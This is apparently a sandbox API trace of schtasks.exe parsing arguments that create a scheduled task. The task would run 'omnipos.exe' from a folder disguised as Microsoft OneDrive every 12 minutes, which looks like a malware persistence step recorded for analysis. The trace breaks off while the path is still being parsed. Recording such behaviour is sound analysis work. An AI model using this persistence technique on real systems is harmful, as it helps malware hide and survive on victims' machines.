lstrlenW (lpString="|?|") returned 3 [0141.544] lstrlenW (lpString="|sc|") returned 4 [0141.544] SetLastError (dwErrCode=0x490) [0141.544] lstrlenW (lpString="s") returned 1 [0141.544] lstrlenW (lpString="s") returned 1 [0141.544] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.544] lstrlenW (lpString="sc") returned 2 [0141.544] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.544] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|s|") returned 3 [0141.544] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|sc|") returned 4 [0141.544] lstrlenW (lpString="|s|") returned 3 [0141.544] lstrlenW (lpString="|sc|") returned 4 [0141.544] SetLastError (dwErrCode=0x490) [0141.545] lstrlenW (lpString="u") returned 1 [0141.545] lstrlenW (lpString="u") returned 1 [0141.545] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.545] lstrlenW (lpString="sc") returned 2 [0141.545] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.545] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|u|") returned 3 [0141.545] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|sc|") returned 4 [0141.545] lstrlenW (lpString="|u|") returned 3 [0141.545] lstrlenW (lpString="|sc|") returned 4 [0141.545] SetLastError (dwErrCode=0x490) [0141.545] lstrlenW (lpString="p") returned 1 [0141.545] lstrlenW (lpString="p") returned 1 [0141.545] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.545] lstrlenW (lpString="sc") returned 2 [0141.545] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.545] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|p|") returned 3 [0141.545] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|sc|") returned 4 [0141.545] lstrlenW (lpString="|p|") returned 3 [0141.545] lstrlenW (lpString="|sc|") returned 4 [0141.545] SetLastError (dwErrCode=0x490) [0141.545] lstrlenW (lpString="ru") returned 2 [0141.545] lstrlenW (lpString="ru") returned 2 [0141.545] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.545] lstrlenW (lpString="sc") returned 2 [0141.545] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.545] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|ru|") returned 4 [0141.545] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|sc|") returned 4 [0141.545] lstrlenW (lpString="|ru|") returned 4 [0141.545] lstrlenW (lpString="|sc|") returned 4 [0141.546] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0141.546] SetLastError (dwErrCode=0x490) [0141.546] lstrlenW (lpString="rp") returned 2 [0141.546] lstrlenW (lpString="rp") returned 2 [0141.546] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.546] lstrlenW (lpString="sc") returned 2 [0141.546] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.546] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rp|") returned 4 [0141.546] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|sc|") returned 4 [0141.546] lstrlenW (lpString="|rp|") returned 4 [0141.546] lstrlenW (lpString="|sc|") returned 4 [0141.546] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0141.546] SetLastError (dwErrCode=0x490) [0141.546] lstrlenW (lpString="sc") returned 2 [0141.546] lstrlenW (lpString="sc") returned 2 [0141.546] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.546] lstrlenW (lpString="sc") returned 2 [0141.546] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.546] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|sc|") returned 4 [0141.546] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|sc|") returned 4 [0141.546] lstrlenW (lpString="|sc|") returned 4 [0141.546] lstrlenW (lpString="|sc|") returned 4 [0141.546] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0141.546] SetLastError (dwErrCode=0x0) [0141.546] SetLastError (dwErrCode=0x0) [0141.546] lstrlenW (lpString="MINUTE") returned 6 [0141.546] lstrlenW (lpString="-/") returned 2 [0141.546] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0141.546] SetLastError (dwErrCode=0x490) [0141.556] SetLastError (dwErrCode=0x490) [0141.556] SetLastError (dwErrCode=0x0) [0141.556] lstrlenW (lpString="MINUTE") returned 6 [0141.556] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0141.556] SetLastError (dwErrCode=0x490) [0141.556] SetLastError (dwErrCode=0x0) [0141.556] GetProcessHeap () returned 0x330000 [0141.556] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34d560 [0141.556] _memicmp (_Buf1=0x34d560, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.556] lstrlenW (lpString="MINUTE") returned 6 [0141.556] GetProcessHeap () returned 0x330000 [0141.563] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0xe) returned 0x34d580 [0141.563] lstrlenW (lpString="MINUTE") returned 6 [0141.564] lstrlenW (lpString=" \x09") returned 2 [0141.564] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0141.564] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0141.564] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0141.564] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0141.564] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0141.564] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0141.564] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0141.564] GetLastError () returned 0x0 [0141.564] lstrlenW (lpString="MINUTE") returned 6 [0141.564] lstrlenW (lpString="MINUTE") returned 6 [0141.564] SetLastError (dwErrCode=0x0) [0141.564] SetLastError (dwErrCode=0x0) [0141.564] lstrlenW (lpString="/mo") returned 3 [0141.564] lstrlenW (lpString="-/") returned 2 [0141.564] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0141.564] lstrlenW (lpString="create") returned 6 [0141.564] lstrlenW (lpString="create") returned 6 [0141.564] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.564] lstrlenW (lpString="mo") returned 2 [0141.564] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.564] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|create|") returned 8 [0141.564] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|mo|") returned 4 [0141.564] lstrlenW (lpString="|create|") returned 8 [0141.564] lstrlenW (lpString="|mo|") returned 4 [0141.564] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0141.565] SetLastError (dwErrCode=0x490) [0141.566] lstrlenW (lpString="?") returned 1 [0141.566] lstrlenW (lpString="?") returned 1 [0141.589] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.589] lstrlenW (lpString="mo") returned 2 [0141.589] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.589] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|?|") returned 3 [0141.589] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|mo|") returned 4 [0141.589] lstrlenW (lpString="|?|") returned 3 [0141.589] lstrlenW (lpString="|mo|") returned 4 [0141.589] SetLastError (dwErrCode=0x490) [0141.589] lstrlenW (lpString="s") returned 1 [0141.589] lstrlenW (lpString="s") returned 1 [0141.589] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.590] lstrlenW (lpString="mo") returned 2 [0141.590] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.590] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|s|") returned 3 [0141.590] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|mo|") returned 4 [0141.590] lstrlenW (lpString="|s|") returned 3 [0141.590] lstrlenW (lpString="|mo|") returned 4 [0141.590] SetLastError (dwErrCode=0x490) [0141.590] lstrlenW (lpString="u") returned 1 [0141.590] lstrlenW (lpString="u") returned 1 [0141.590] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.590] lstrlenW (lpString="mo") returned 2 [0141.590] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.590] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|u|") returned 3 [0141.590] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|mo|") returned 4 [0141.590] lstrlenW (lpString="|u|") returned 3 [0141.590] lstrlenW (lpString="|mo|") returned 4 [0141.590] SetLastError (dwErrCode=0x490) [0141.590] lstrlenW (lpString="p") returned 1 [0141.590] lstrlenW (lpString="p") returned 1 [0141.590] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.590] lstrlenW (lpString="mo") returned 2 [0141.590] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.590] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|p|") returned 3 [0141.590] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|mo|") returned 4 [0141.590] lstrlenW (lpString="|p|") returned 3 [0141.590] lstrlenW (lpString="|mo|") returned 4 [0141.590] SetLastError (dwErrCode=0x490) [0141.590] lstrlenW (lpString="ru") returned 2 [0141.590] lstrlenW (lpString="ru") returned 2 [0141.590] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.590] lstrlenW (lpString="mo") returned 2 [0141.590] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.590] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|ru|") returned 4 [0141.591] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|mo|") returned 4 [0141.591] lstrlenW (lpString="|ru|") returned 4 [0141.591] lstrlenW (lpString="|mo|") returned 4 [0141.591] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0141.591] SetLastError (dwErrCode=0x490) [0141.591] lstrlenW (lpString="rp") returned 2 [0141.591] lstrlenW (lpString="rp") returned 2 [0141.591] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.591] lstrlenW (lpString="mo") returned 2 [0141.591] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.591] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rp|") returned 4 [0141.591] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|mo|") returned 4 [0141.591] lstrlenW (lpString="|rp|") returned 4 [0141.591] lstrlenW (lpString="|mo|") returned 4 [0141.591] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0141.591] SetLastError (dwErrCode=0x490) [0141.591] lstrlenW (lpString="sc") returned 2 [0141.591] lstrlenW (lpString="sc") returned 2 [0141.591] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.591] lstrlenW (lpString="mo") returned 2 [0141.591] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.591] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|sc|") returned 4 [0141.591] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|mo|") returned 4 [0141.591] lstrlenW (lpString="|sc|") returned 4 [0141.591] lstrlenW (lpString="|mo|") returned 4 [0141.606] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0141.608] SetLastError (dwErrCode=0x490) [0141.612] lstrlenW (lpString="mo") returned 2 [0141.612] lstrlenW (lpString="mo") returned 2 [0141.612] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.612] lstrlenW (lpString="mo") returned 2 [0141.612] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.612] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|mo|") returned 4 [0141.612] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|mo|") returned 4 [0141.612] lstrlenW (lpString="|mo|") returned 4 [0141.612] lstrlenW (lpString="|mo|") returned 4 [0141.612] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0141.612] SetLastError (dwErrCode=0x0) [0141.612] SetLastError (dwErrCode=0x0) [0141.612] lstrlenW (lpString="12") returned 2 [0141.613] lstrlenW (lpString="-/") returned 2 [0141.613] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0141.613] SetLastError (dwErrCode=0x490) [0141.613] SetLastError (dwErrCode=0x490) [0141.613] SetLastError (dwErrCode=0x0) [0141.613] lstrlenW (lpString="12") returned 2 [0141.613] StrChrIW (lpStart="12", wMatch=0x3a) returned 0x0 [0141.613] SetLastError (dwErrCode=0x490) [0141.613] SetLastError (dwErrCode=0x0) [0141.613] _memicmp (_Buf1=0x34d560, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.613] lstrlenW (lpString="12") returned 2 [0141.613] lstrlenW (lpString="12") returned 2 [0141.613] lstrlenW (lpString=" \x09") returned 2 [0141.613] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0141.613] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0141.613] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0141.613] GetLastError () returned 0x0 [0141.613] lstrlenW (lpString="12") returned 2 [0141.613] lstrlenW (lpString="12") returned 2 [0141.613] GetProcessHeap () returned 0x330000 [0141.613] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x6) returned 0x34b9d0 [0141.613] SetLastError (dwErrCode=0x0) [0141.613] SetLastError (dwErrCode=0x0) [0141.613] lstrlenW (lpString="/tr") returned 3 [0141.613] lstrlenW (lpString="-/") returned 2 [0141.613] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0141.613] lstrlenW (lpString="create") returned 6 [0141.613] lstrlenW (lpString="create") returned 6 [0141.613] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.613] lstrlenW (lpString="tr") returned 2 [0141.613] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.613] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|create|") returned 8 [0141.614] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tr|") returned 4 [0141.614] lstrlenW (lpString="|create|") returned 8 [0141.614] lstrlenW (lpString="|tr|") returned 4 [0141.614] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0141.614] SetLastError (dwErrCode=0x490) [0141.614] lstrlenW (lpString="?") returned 1 [0141.614] lstrlenW (lpString="?") returned 1 [0141.614] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.614] lstrlenW (lpString="tr") returned 2 [0141.614] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.614] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|?|") returned 3 [0141.614] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tr|") returned 4 [0141.614] lstrlenW (lpString="|?|") returned 3 [0141.614] lstrlenW (lpString="|tr|") returned 4 [0141.614] SetLastError (dwErrCode=0x490) [0141.614] lstrlenW (lpString="s") returned 1 [0141.614] lstrlenW (lpString="s") returned 1 [0141.614] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.614] lstrlenW (lpString="tr") returned 2 [0141.614] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.614] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|s|") returned 3 [0141.614] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tr|") returned 4 [0141.614] lstrlenW (lpString="|s|") returned 3 [0141.614] lstrlenW (lpString="|tr|") returned 4 [0141.614] SetLastError (dwErrCode=0x490) [0141.614] lstrlenW (lpString="u") returned 1 [0141.614] lstrlenW (lpString="u") returned 1 [0141.614] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.614] lstrlenW (lpString="tr") returned 2 [0141.614] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.614] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|u|") returned 3 [0141.614] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tr|") returned 4 [0141.615] lstrlenW (lpString="|u|") returned 3 [0141.615] lstrlenW (lpString="|tr|") returned 4 [0141.615] SetLastError (dwErrCode=0x490) [0141.615] lstrlenW (lpString="p") returned 1 [0141.615] lstrlenW (lpString="p") returned 1 [0141.615] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.615] lstrlenW (lpString="tr") returned 2 [0141.615] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.615] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|p|") returned 3 [0141.615] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tr|") returned 4 [0141.615] lstrlenW (lpString="|p|") returned 3 [0141.615] lstrlenW (lpString="|tr|") returned 4 [0141.615] SetLastError (dwErrCode=0x490) [0141.615] lstrlenW (lpString="ru") returned 2 [0141.615] lstrlenW (lpString="ru") returned 2 [0141.615] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.615] lstrlenW (lpString="tr") returned 2 [0141.615] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.615] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|ru|") returned 4 [0141.615] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tr|") returned 4 [0141.615] lstrlenW (lpString="|ru|") returned 4 [0141.615] lstrlenW (lpString="|tr|") returned 4 [0141.615] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0141.615] SetLastError (dwErrCode=0x490) [0141.615] lstrlenW (lpString="rp") returned 2 [0141.615] lstrlenW (lpString="rp") returned 2 [0141.615] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.615] lstrlenW (lpString="tr") returned 2 [0141.615] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.615] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rp|") returned 4 [0141.615] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tr|") returned 4 [0141.615] lstrlenW (lpString="|rp|") returned 4 [0141.616] lstrlenW (lpString="|tr|") returned 4 [0141.616] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0141.616] SetLastError (dwErrCode=0x490) [0141.616] lstrlenW (lpString="sc") returned 2 [0141.616] lstrlenW (lpString="sc") returned 2 [0141.616] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.616] lstrlenW (lpString="tr") returned 2 [0141.616] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.616] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|sc|") returned 4 [0141.616] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tr|") returned 4 [0141.616] lstrlenW (lpString="|sc|") returned 4 [0141.616] lstrlenW (lpString="|tr|") returned 4 [0141.616] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0141.616] SetLastError (dwErrCode=0x490) [0141.616] lstrlenW (lpString="mo") returned 2 [0141.616] lstrlenW (lpString="mo") returned 2 [0141.616] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.616] lstrlenW (lpString="tr") returned 2 [0141.616] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.616] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|mo|") returned 4 [0141.616] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tr|") returned 4 [0141.616] lstrlenW (lpString="|mo|") returned 4 [0141.616] lstrlenW (lpString="|tr|") returned 4 [0141.616] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0141.616] SetLastError (dwErrCode=0x490) [0141.616] lstrlenW (lpString="d") returned 1 [0141.616] lstrlenW (lpString="d") returned 1 [0141.616] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.617] lstrlenW (lpString="tr") returned 2 [0141.617] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.617] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|d|") returned 3 [0141.617] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tr|") returned 4 [0141.617] lstrlenW (lpString="|d|") returned 3 [0141.617] lstrlenW (lpString="|tr|") returned 4 [0141.617] SetLastError (dwErrCode=0x490) [0141.617] lstrlenW (lpString="m") returned 1 [0141.617] lstrlenW (lpString="m") returned 1 [0141.617] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.617] lstrlenW (lpString="tr") returned 2 [0141.617] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.617] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|m|") returned 3 [0141.617] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tr|") returned 4 [0141.617] lstrlenW (lpString="|m|") returned 3 [0141.617] lstrlenW (lpString="|tr|") returned 4 [0141.617] SetLastError (dwErrCode=0x490) [0141.617] lstrlenW (lpString="i") returned 1 [0141.617] lstrlenW (lpString="i") returned 1 [0141.617] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.617] lstrlenW (lpString="tr") returned 2 [0141.617] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.617] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|i|") returned 3 [0141.617] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tr|") returned 4 [0141.617] lstrlenW (lpString="|i|") returned 3 [0141.617] lstrlenW (lpString="|tr|") returned 4 [0141.618] SetLastError (dwErrCode=0x490) [0141.618] lstrlenW (lpString="tn") returned 2 [0141.618] lstrlenW (lpString="tn") returned 2 [0141.618] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.618] lstrlenW (lpString="tr") returned 2 [0141.618] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.618] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tn|") returned 4 [0141.618] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tr|") returned 4 [0141.618] lstrlenW (lpString="|tn|") returned 4 [0141.618] lstrlenW (lpString="|tr|") returned 4 [0141.618] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0141.618] SetLastError (dwErrCode=0x490) [0141.618] lstrlenW (lpString="tr") returned 2 [0141.618] lstrlenW (lpString="tr") returned 2 [0141.618] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.618] lstrlenW (lpString="tr") returned 2 [0141.618] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.618] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tr|") returned 4 [0141.618] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tr|") returned 4 [0141.618] lstrlenW (lpString="|tr|") returned 4 [0141.618] lstrlenW (lpString="|tr|") returned 4 [0141.618] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0141.618] SetLastError (dwErrCode=0x0) [0141.618] SetLastError (dwErrCode=0x0) [0141.618] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0141.618] lstrlenW (lpString="-/") returned 2 [0141.618] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0141.618] SetLastError (dwErrCode=0x490) [0141.619] SetLastError (dwErrCode=0x490) [0141.619] SetLastError (dwErrCode=0x0) [0141.619] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0141.619] StrChrIW (lpStart="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'" 